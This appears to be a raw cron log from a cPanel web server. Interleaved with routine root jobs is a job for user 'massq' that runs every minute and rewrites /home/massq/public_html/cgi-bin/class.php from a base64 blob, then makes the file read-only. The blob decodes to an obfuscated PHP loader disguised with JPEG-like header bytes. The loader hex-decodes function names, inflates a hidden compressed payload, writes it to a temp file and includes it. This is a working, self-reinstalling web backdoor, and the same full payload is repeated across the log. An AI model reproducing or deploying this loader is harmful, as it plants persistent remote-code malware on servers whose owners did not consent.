Aug 30 22:40:01 server CROND[22398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:40:01 server CROND[22397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:40:01 server CROND[22399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:41:01 server CROND[23399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:41:01 server CROND[23400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:41:01 server CROND[23401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:42:02 server CROND[23791]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:42:02 server CROND[23790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:42:02 server CROND[23789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:42:02 server CROND[23792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:43:01 server CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:43:01 server CROND[24141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:43:01 server CROND[24142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:44:01 server CROND[24604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:44:01 server CROND[24605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:44:01 server CROND[24606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:45:01 server CROND[24986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:45:01 server CROND[24989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:45:01 server CROND[24990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:45:01 server CROND[24991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:45:01 server CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:45:01 server CROND[24993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:45:01 server CROND[24988]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:46:01 server CROND[25815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:46:01 server CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:46:01 server CROND[25817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:47:01 server CROND[26192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:47:01 server CROND[26193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:47:01 server CROND[26194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:48:01 server CROND[26567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:48:01 server CROND[26568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:48:01 server CROND[26569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:49:01 server CROND[27037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:49:01 server CROND[27038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:49:01 server CROND[27039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:50:01 server CROND[27439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:50:01 server CROND[27440]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:50:01 server CROND[27443]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:50:01 server CROND[27445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:50:01 server CROND[27442]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:50:01 server CROND[27447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:50:01 server CROND[27449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:50:01 server CROND[27446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:50:01 server CROND[27444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:51:01 server CROND[28269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:51:01 server CROND[28270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:51:01 server CROND[28272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:52:01 server CROND[28633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:52:01 server CROND[28634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
